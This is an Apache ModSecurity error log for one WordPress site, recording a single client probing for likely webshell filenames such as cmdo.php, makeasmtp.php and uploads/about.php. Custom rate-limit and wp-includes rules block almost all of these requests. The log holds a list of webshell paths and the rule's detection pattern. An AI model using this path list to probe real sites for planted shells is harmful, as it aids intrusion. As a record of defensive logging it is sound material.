[Thu Feb 26 15:50:50.190754 2026] [:error] [pid 3883:tid 3899] [client 20.151.2.242:28369] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/text.php"] [unique_id "aZ_7WuA33x90V6yYHai3DQAAAU0"]
[Thu Feb 26 15:50:52.799857 2026] [:error] [pid 25311:tid 25314] [client 20.151.2.242:28558] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aZ_7XNfdM__yZAgJFSsuzgAAAYA"]
[Thu Feb 26 15:50:53.512074 2026] [:error] [pid 20419:tid 20426] [client 20.151.2.242:28590] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aZ_7Xe3DVDvMfTYYUBXR2wAAAcQ"]
[Thu Feb 26 15:50:57.491027 2026] [:error] [pid 55122:tid 55146] [client 20.151.2.242:28450] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aZ_7YYLiR0OfjFxvcN_dhQAAANY"]
[Thu Feb 26 15:50:58.823584 2026] [:error] [pid 55122:tid 55136] [client 20.151.2.242:28487] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aZ_7YoLiR0OfjFxvcN_djAAAAMw"]
[Thu Feb 26 15:51:00.459554 2026] [:error] [pid 25311:tid 25322] [client 20.151.2.242:28606] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aZ_7ZNfdM__yZAgJFSsu4AAAAYg"]
[Thu Feb 26 15:51:01.901102 2026] [:error] [pid 55122:tid 55143] [client 20.151.2.242:28512] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aZ_7ZYLiR0OfjFxvcN_dmAAAANM"]
[Thu Feb 26 15:51:02.696868 2026] [:error] [pid 25311:tid 25317] [client 20.151.2.242:28484] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aZ_7ZtfdM__yZAgJFSsu5QAAAYM"]
[Thu Feb 26 15:51:04.731356 2026] [:error] [pid 3883:tid 3888] [client 20.151.2.242:28619] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aZ_7aOA33x90V6yYHai3UwAAAUI"]
[Thu Feb 26 15:51:05.553147 2026] [:error] [pid 3883:tid 3900] [client 20.151.2.242:28509] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZ_7aeA33x90V6yYHai3VgAAAU4"]
[Thu Feb 26 15:51:06.590141 2026] [:error] [pid 3883:tid 3899] [client 20.151.2.242:28670] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZ_7auA33x90V6yYHai3XQAAAU0"]
[Thu Feb 26 15:51:07.689931 2026] [:error] [pid 3883:tid 3907] [client 20.151.2.242:28511] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZ_7a-A33x90V6yYHai3bQAAAVU"]
[Thu Feb 26 15:51:09.434243 2026] [:error] [pid 3883:tid 3907] [client 20.151.2.242:28566] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aZ_7beA33x90V6yYHai3ggAAAVU"]
[Thu Feb 26 15:51:10.665340 2026] [:error] [pid 54990:tid 54996] [client 20.151.2.242:28647] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aZ_7bntr2qmt_mBhH2ztggAAAAM"]
[Thu Feb 26 15:51:11.828267 2026] [:error] [pid 25311:tid 25314] [client 20.151.2.242:28500] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aZ_7b9fdM__yZAgJFSsu8gAAAYA"]
[Thu Feb 26 15:51:19.845807 2026] [:error] [pid 20419:tid 20430] [client 20.151.2.242:28494] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aZ_7d-3DVDvMfTYYUBXSBwAAAcg"]
[Thu Feb 26 15:51:21.715887 2026] [:error] [pid 3883:tid 3889] [client 20.151.2.242:28568] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aZ_7eeA33x90V6yYHai3swAAAUM"]
[Thu Feb 26 15:51:24.552406 2026] [:error] [pid 20419:tid 20425] [client 20.151.2.242:28561] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aZ_7fO3DVDvMfTYYUBXSEwAAAcM"]
[Thu Feb 26 15:51:27.783146 2026] [:error] [pid 55618:tid 55624] [client 20.151.2.242:28667] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aZ_7fx61Vrh12f_8oWSlAQAAAQM"]
[Thu Feb 26 15:51:28.904272 2026] [:error] [pid 25311:tid 25325] [client 20.151.2.242:28629] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aZ_7gNfdM__yZAgJFSsvIwAAAYs"]
[Thu Feb 26 15:51:30.035285 2026] [:error] [pid 3883:tid 3910] [client 20.151.2.242:28560] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aZ_7guA33x90V6yYHai30wAAAVg"]
[Thu Feb 26 15:51:31.978586 2026] [:error] [pid 25311:tid 25338] [client 20.151.2.242:28550] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aZ_7g9fdM__yZAgJFSsvJgAAAZg"]
[Thu Feb 26 15:51:33.635710 2026] [:error] [pid 55122:tid 55147] [client 20.151.2.242:28486] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-discussion.php"] [unique_id "aZ_7hYLiR0OfjFxvcN_dwgAAANc"]
[Thu Feb 26 15:51:36.385232 2026] [:error] [pid 3883:tid 3898] [client 20.151.2.242:28651] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-discussion.php"] [unique_id "aZ_7iOA33x90V6yYHai3-QAAAUw"]
[Thu Feb 26 15:51:38.256593 2026] [:error] [pid 25311:tid 25314] [client 20.151.2.242:28544] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-discussion.php"] [unique_id "aZ_7itfdM__yZAgJFSsvVQAAAYA"]
[Thu Feb 26 15:51:41.447167 2026] [:error] [pid 54991:tid 55025] [client 20.151.2.242:28639] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-discussion.php"] [unique_id "aZ_7jd4Zx-mJ8gbRB2ihRAAAAEU"]
[Thu Feb 26 15:51:42.294344 2026] [:error] [pid 25311:tid 25332] [client 20.151.2.242:28428] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aZ_7jtfdM__yZAgJFSsvcQAAAZI"]
[Thu Feb 26 15:51:43.469521 2026] [:error] [pid 25311:tid 25337] [client 20.151.2.242:28636] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "aZ_7j9fdM__yZAgJFSsvfwAAAZc"]
[Thu Feb 26 15:51:50.853113 2026] [:error] [pid 55618:tid 55636] [client 20.151.2.242:28573] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/about.php"] [unique_id "aZ_7lh61Vrh12f_8oWSlHgAAAQ8"]
[Thu Feb 26 15:51:54.923842 2026] [proxy_fcgi:error] [pid 25311:tid 25338] [client 20.151.2.242:28656] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 15:52:01.532684 2026] [:error] [pid 25311:tid 25330] [client 20.151.2.242:28656] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aZ_7odfdM__yZAgJFSsvrwAAAZA"]
[Thu Feb 26 15:52:07.145195 2026] [:error] [pid 54991:tid 55038] [client 20.151.2.242:28609] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koiy.php"] [unique_id "aZ_7p94Zx-mJ8gbRB2ihYgAAAFI"]
[Thu Feb 26 15:52:08.854653 2026] [:error] [pid 3883:tid 3888] [client 20.151.2.242:28659] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koiy.php"] [unique_id "aZ_7qOA33x90V6yYHai4ggAAAUI"]
[Thu Feb 26 15:52:10.444602 2026] [:error] [pid 55051:tid 55075] [client 20.151.2.242:28668] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koiy.php"] [unique_id "aZ_7qgmK1w2kZvh5eLH81gAAAJU"]
[Thu Feb 26 15:52:11.206644 2026] [:error] [pid 25311:tid 25335] [client 20.151.2.242:28517] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koiy.php"] [unique_id "aZ_7q9fdM__yZAgJFSsvxwAAAZU"]
[Thu Feb 26 15:52:13.991660 2026] [:error] [pid 3883:tid 3910] [client 20.151.2.242:28643] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZ_7reA33x90V6yYHai4lwAAAVg"]
[Thu Feb 26 15:52:16.182836 2026] [:error] [pid 54991:tid 55029] [client 20.151.2.242:28569] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZ_7sN4Zx-mJ8gbRB2ihZQAAAEk"]
[Thu Feb 26 15:52:17.544840 2026] [:error] [pid 54990:tid 55014] [client 20.151.2.242:28498] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZ_7sXtr2qmt_mBhH2zttQAAABU"]
[Thu Feb 26 15:52:19.930057 2026] [:error] [pid 54990:tid 55016] [client 20.151.2.242:28491] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aZ_7s3tr2qmt_mBhH2zttgAAABc"]
[Thu Feb 26 15:52:21.523378 2026] [:error] [pid 55122:tid 55146] [client 20.151.2.242:28632] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cmdo.php"] [unique_id "aZ_7tYLiR0OfjFxvcN_eGAAAANY"]
[Thu Feb 26 15:52:22.556599 2026] [:error] [pid 55051:tid 55073] [client 20.151.2.242:28425] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cmdo.php"] [unique_id "aZ_7tgmK1w2kZvh5eLH83gAAAJM"]
[Thu Feb 26 15:52:25.854814 2026] [:error] [pid 25311:tid 25325] [client 20.151.2.242:28631] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cmdo.php"] [unique_id "aZ_7udfdM__yZAgJFSswAAAAAYs"]
[Thu Feb 26 15:52:26.622290 2026] [:error] [pid 55618:tid 55645] [client 20.151.2.242:28556] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cmdo.php"] [unique_id "aZ_7uh61Vrh12f_8oWSlSgAAARg"]
[Thu Feb 26 15:52:28.527842 2026] [:error] [pid 20419:tid 20443] [client 20.151.2.242:28581] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lkui.php"] [unique_id "aZ_7vO3DVDvMfTYYUBXSlAAAAdU"]
[Thu Feb 26 15:52:30.228541 2026] [:error] [pid 3883:tid 3910] [client 20.151.2.242:28577] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lkui.php"] [unique_id "aZ_7vuA33x90V6yYHai41AAAAVg"]
[Thu Feb 26 15:52:32.013687 2026] [:error] [pid 3883:tid 3887] [client 20.151.2.242:28658] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lkui.php"] [unique_id "aZ_7wOA33x90V6yYHai44AAAAUE"]
[Thu Feb 26 15:52:33.288255 2026] [:error] [pid 20419:tid 20429] [client 20.151.2.242:28480] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lkui.php"] [unique_id "aZ_7we3DVDvMfTYYUBXSowAAAcc"]
[Thu Feb 26 15:52:35.811286 2026] [:error] [pid 20419:tid 20426] [client 20.151.2.242:28605] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aZ_7w-3DVDvMfTYYUBXSrQAAAcQ"]
[Thu Feb 26 15:52:38.085243 2026] [:error] [pid 25311:tid 25335] [client 20.151.2.242:28514] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aZ_7xtfdM__yZAgJFSswJgAAAZU"]
[Thu Feb 26 15:52:39.262409 2026] [:error] [pid 3883:tid 3906] [client 20.151.2.242:28622] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aZ_7x-A33x90V6yYHai5LwAAAVQ"]
[Thu Feb 26 15:52:40.835819 2026] [:error] [pid 20419:tid 20442] [client 20.151.2.242:28640] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/about.php"] [unique_id "aZ_7yO3DVDvMfTYYUBXSuQAAAdQ"]
[Thu Feb 26 15:52:42.549779 2026] [:error] [pid 25311:tid 25328] [client 20.151.2.242:28657] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ynz.PhP7"] [unique_id "aZ_7ytfdM__yZAgJFSswMgAAAY4"]
[Thu Feb 26 15:52:45.144341 2026] [:error] [pid 20419:tid 20436] [client 20.151.2.242:28638] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ynz.PhP7"] [unique_id "aZ_7ze3DVDvMfTYYUBXSxQAAAc4"]
[Thu Feb 26 15:52:47.861885 2026] [:error] [pid 25311:tid 25320] [client 20.151.2.242:28507] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ynz.PhP7"] [unique_id "aZ_7z9fdM__yZAgJFSswZAAAAYY"]
[Thu Feb 26 15:52:48.838965 2026] [:error] [pid 55122:tid 55134] [client 20.151.2.242:28516] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ynz.PhP7"] [unique_id "aZ_70ILiR0OfjFxvcN_eOwAAAMo"]
[Thu Feb 26 15:52:52.526678 2026] [:error] [pid 25311:tid 25319] [client 20.151.2.242:28451] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aZ_71NfdM__yZAgJFSswbgAAAYU"]
[Thu Feb 26 15:52:53.567123 2026] [:error] [pid 55122:tid 55147] [client 20.151.2.242:28492] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/languages/index.php"] [unique_id "aZ_71YLiR0OfjFxvcN_eRQAAANc"]
